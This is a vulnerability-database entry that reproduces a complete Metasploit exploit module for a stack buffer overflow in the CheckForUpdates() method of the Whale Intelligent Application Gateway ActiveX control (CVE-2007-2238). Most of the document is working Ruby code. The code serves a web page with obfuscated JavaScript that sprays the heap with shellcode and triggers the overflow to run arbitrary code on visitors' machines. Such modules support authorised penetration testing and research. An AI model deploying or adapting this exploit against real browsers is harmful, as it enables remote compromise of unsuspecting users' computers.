Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow

2009-04-15T21:38:50
ID MSF:EXPLOIT/WINDOWS/BROWSER/MSWHALE_CHECKFORUPDATES
Type metasploit
Reporter Rapid7
Modified 2017-10-05T21:44:36

Description

This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application Gateway Whale Client. When sending an overly long string to CheckForUpdates() method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute arbitrary code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application
        Gateway Whale Client. When sending an overly long string to CheckForUpdates()
        method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-2238' ],
          [ 'OSVDB', '53933'],
          [ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => 'Apr 15 2009',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # fluff..
    fluff = rand_text_english(rand(20) + 1)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return.
    ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

    js = %Q|
      try {
        var evil_string = "";
        var index;
        var vulnerable = new ActiveXObject('ComponentManager.Installer.1');
        var my_unescape = unescape;
        var shellcode = '#{shellcode}';
        #{js_heap_spray}
        sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
        for (index = 0; index < 15000; index++) {
          evil_string = evil_string + my_unescape('#{ret}');
        }
        vulnerable.CheckForUpdates(evil_string,'#{fluff}');
      } catch( e ) { window.location = 'about:blank' ; }
    |

    opts = {
      'Strings' => true,
      'Symbols' => {
        'Variables' => [
          'vulnerable',
          'shellcode',
          'my_unescape',
          'index',
          'evil_string',
        ]
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.update_opts(js_heap_spray.opts)
    js.obfuscate(memory_sensitive: true)
    content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end